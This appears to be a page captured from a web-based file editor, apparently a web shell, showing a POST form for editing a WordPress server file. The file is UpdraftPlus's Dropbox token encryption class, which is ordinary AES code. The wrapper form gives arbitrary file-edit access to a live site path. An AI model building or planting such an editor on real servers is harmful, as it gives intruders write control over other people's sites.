<h2>File Contents: /home/planet5/www/wp-content/plugins/updraftplus/includes/Dropbox2/OAuth/Storage/Encrypter.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/wp-content/plugins/updraftplus/includes/Dropbox2/OAuth/Storage/Encrypter.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php

/**
 * This class provides the functionality to encrypt
 * and decrypt access tokens stored by the application
 * @author Ben Tadiar &lt;ben@handcraftedbyben.co.uk&gt;
 * @link https://github.com/benthedesigner/dropbox
 * @package Dropbox\Oauth
 * @subpackage Storage
 */

/* UpdraftPlus notes
Using this was fairly pointless (it encrypts storage credentials at rest). But, it&#039;s implemented now, so needs supporting.
Investigation shows that mcrypt and phpseclib native encryption using different padding schemes.
As a result, that which is encrypted by phpseclib native can be decrypted by mcrypt, but not vice-versa. Each can (as you&#039;d expect) decrypt the results of their own encryption.
As a consequence, it makes sense to always encrypt with phpseclib native, and prefer decrypting with with mcrypt if it is available and otherwise fall back to phpseclib.
We could deliberately re-encrypt all loaded information with phpseclib native, but there seems little need for that yet. There can only be a problem if mcrypt is disabled - which pre-July-2015 meant that Dropbox wouldn&#039;t work at all. Now, it will force a re-authorisation.
*/

class Dropbox_Encrypter
{    
    // Encryption settings - default settings yield encryption to AES (256-bit) standard
    // @todo Provide PHPDOC for each class constant
    const KEY_SIZE = 32;
    const IV_SIZE = 16;
    
    /**
     * Encryption key
     * @var null|string
     */
    private $key = null;
    
    /**
     * Check Mcrypt is loaded and set the encryption key
     * @param string $key
     * @return void
     */
    public function __construct($key)
    {
        if (preg_match(&#039;/^[A-Za-z0-9]+$/&#039;, $key) &amp;&amp; $length = strlen($key) === self::KEY_SIZE) {
            # Short-cut so that the mbstring extension is not required
            $this-&gt;key = $key;
        } elseif (($length = mb_strlen($key, &#039;8bit&#039;)) !== self::KEY_SIZE) {
            throw new Dropbox_Exception(&#039;Expecting a &#039; .  self::KEY_SIZE . &#039; byte key, got &#039; . $length); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- The escaping should happen when the exception is caught and printed
        } else {
            // Set the encryption key
            $this-&gt;key = $key;
        }
    }
    
    /**
     * Encrypt the OAuth token
     * @param \stdClass $token Serialized token object
     * @return string
     */
    public function encrypt($token)
    {

        // Encryption: we always use phpseclib for this
        global $updraftplus;
        $ensure_phpseclib = $updraftplus-&gt;ensure_phpseclib();
        
        if (is_wp_error($ensure_phpseclib)) {
            $updraftplus-&gt;log(&quot;Failed to load phpseclib classes (&quot;.$ensure_phpseclib-&gt;get_error_code().&quot;): &quot;.$ensure_phpseclib-&gt;get_error_message());
            $updraftplus-&gt;log(&quot;Failed to load phpseclib classes (&quot;.$ensure_phpseclib-&gt;get_error_code().&quot;): &quot;.$ensure_phpseclib-&gt;get_error_message(), &#039;error&#039;);
            return false;
        }
        
        $updraftplus-&gt;ensure_phpseclib();
        
        $iv = phpseclib_Crypt_Random::string(self::IV_SIZE);
        
        // Defaults to CBC mode
        $rijndael = new phpseclib_Crypt_Rijndael();
        
        $rijndael-&gt;setKey($this-&gt;key);
        
        $rijndael-&gt;setIV($iv);

        $cipherText = $rijndael-&gt;encrypt($token);
        
        return base64_encode($iv . $cipherText);
    }
    
    /**
     * Decrypt the ciphertext
     * @param string $cipherText
     * @return object \stdClass Unserialized token
     */
    public function decrypt($cipherText)
    {

		// Note: mcrypt_decrypt() is deprecated since PHP 7.1 and removed in 7.2.
		// Switched to phpseclib exclusively for decryption.
		
		global $updraftplus;
        $cipherText = base64_decode($cipherText);
        $iv = substr($cipherText, 0, self::IV_SIZE);
        $cipherText = substr($cipherText, self::IV_SIZE);
            
		$updraftplus-&gt;ensure_phpseclib();

		$rijndael = new phpseclib_Crypt_Rijndael();
		$rijndael-&gt;setKey($this-&gt;key);
		$rijndael-&gt;setIV($iv);
		$token = $rijndael-&gt;decrypt($cipherText);
        
        return $token;
    }
}
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